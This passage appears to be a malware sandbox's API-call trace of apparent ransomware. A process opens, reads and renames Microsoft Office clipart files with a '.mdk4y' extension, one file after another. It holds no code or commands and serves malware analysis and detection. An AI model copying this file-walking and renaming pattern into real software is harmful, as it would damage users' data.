dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821660300000) returned 1 [0141.373] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5314, lpOverlapped=0x0) returned 1 [0141.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821663400000) returned 1 [0141.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821663400000) returned 1 [0141.404] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.mdk4y")) returned 1 [0141.405] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.405] AreFileApisANSI () returned 1 [0141.405] GetACP () returned 0x4e4 [0141.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0090087.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0090087.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.405] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.406] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821663600000) returned 1 [0141.406] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb758, lpOverlapped=0x0) returned 1 [0141.423] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821665300000) returned 1 [0141.423] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821665300000) returned 1 [0141.424] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.mdk4y")) returned 1 [0141.425] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.425] AreFileApisANSI () returned 1 [0141.425] GetACP () returned 0x4e4 [0141.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0090089.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0090089.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.425] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821665600000) returned 1 [0141.426] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3d90, lpOverlapped=0x0) returned 1 [0141.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821666700000) returned 1 [0141.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821666800000) returned 1 [0141.438] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.mdk4y")) returned 1 [0141.439] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.439] AreFileApisANSI () returned 1 [0141.439] GetACP () returned 0x4e4 [0141.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0090149.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0090149.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.439] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821666900000) returned 1 [0141.439] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6e34, lpOverlapped=0x0) returned 1 [0141.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821669400000) returned 1 [0141.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821669400000) returned 1 [0141.465] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.mdk4y")) returned 1 [0141.466] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.466] AreFileApisANSI () returned 1 [0141.466] GetACP () returned 0x4e4 [0141.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0090390.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0090390.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.466] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821669700000) returned 1 [0141.467] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x44e6, lpOverlapped=0x0) returned 1 [0141.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821678000000) returned 1 [0141.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821678000000) returned 1 [0141.550] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.mdk4y")) returned 1 [0141.551] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.551] AreFileApisANSI () returned 1 [0141.551] GetACP () returned 0x4e4 [0141.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0090777.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0090777.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.551] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.551] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821678100000) returned 1 [0141.552] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd04, lpOverlapped=0x0) returned 1 [0141.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821678300000) returned 1 [0141.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821678300000) returned 1 [0141.553] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.mdk4y")) returned 1 [0141.554] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.554] AreFileApisANSI () returned 1 [0141.554] GetACP () returned 0x4e4 [0141.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0090779.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0090779.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.554] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821678400000) returned 1 [0141.554] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5b0, lpOverlapped=0x0) returned 1 [0141.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821681200000) returned 1 [0141.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821681200000) returned 1 [0141.582] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.mdk4y")) returned 1 [0141.583] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.583] AreFileApisANSI () returned 1 [0141.583] GetACP () returned 0x4e4 [0141.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0090781.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0090781.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.583] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821681400000) returned 1 [0141.584] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14c2, lpOverlapped=0x0) returned 1 [0141.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821682100000) returned 1 [0141.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821682100000) returned 1 [0141.591] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.mdk4y")) returned 1 [0141.591] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.591] AreFileApisANSI () returned 1 [0141.591] GetACP () returned 0x4e4 [0141.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0090783.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0090783.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.592] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821682200000) returned 1 [0141.592] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b16, lpOverlapped=0x0) returned 1 [0141.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821682800000) returned 1 [0141.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821682800000) returned 1 [0141.598] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.mdk4y")) returned 1 [0141.599] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.599] AreFileApisANSI () returned 1 [0141.599] GetACP () returned 0x4e4 [0141.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0093905.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0093905.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.599] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821682900000) returned 1 [0141.599] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa442, lpOverlapped=0x0) returned 1 [0141.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821689500000) returned 1 [0141.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821689500000) returned 1 [0141.666] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.mdk4y")) returned 1 [0141.666] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.666] AreFileApisANSI () returned 1 [0141.666] GetACP () returned 0x4e4 [0141.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0098497.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0098497.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.667] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821689700000) returned 1 [0141.667] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x136a, lpOverlapped=0x0) returned 1 [0141.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821699600000) returned 1 [0141.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821699700000) returned 1 [0141.767] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.mdk4y")) returned 1 [0141.768] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.768] AreFileApisANSI () returned 1 [0141.768] GetACP () returned 0x4e4 [0141.768] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099145.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099145.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0141.768] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821699800000) returned 1 [0141.768] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x60b7, lpOverlapped=0x0) returned 1 [0141.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821706900000) returned 1 [0141.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821706900000) returned 1 [0141.840] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.mdk4y")) returned 1 [0141.841] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.841] AreFileApisANSI () returned 1 [0141.841] GetACP () returned 0x4e4 [0141.841] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099146.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099146.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0141.841] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821707100000) returned 1 [0141.841] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x40d4, lpOverlapped=0x0) returned 1 [0141.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821714900000) returned 1 [0141.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821714900000) returned 1 [0141.920] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.mdk4y")) returned 1 [0141.920] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0141.920] AreFileApisANSI () returned 1 [0141.920] GetACP () returned 0x4e4 [0141.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099147.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099147.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0141.921] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0141.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821715100000) returned 1 [0141.921] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5f39, lpOverlapped=0x0) returned 1 [0142.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821724100000) returned 1 [0142.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821724100000) returned 1 [0142.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.mdk4y")) returned 1 [0142.012] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.012] AreFileApisANSI () returned 1 [0142.012] GetACP () returned 0x4e4 [0142.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099148.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099148.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0142.012] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.013] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821724300000) returned 1 [0142.013] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4752, lpOverlapped=0x0) returned 1 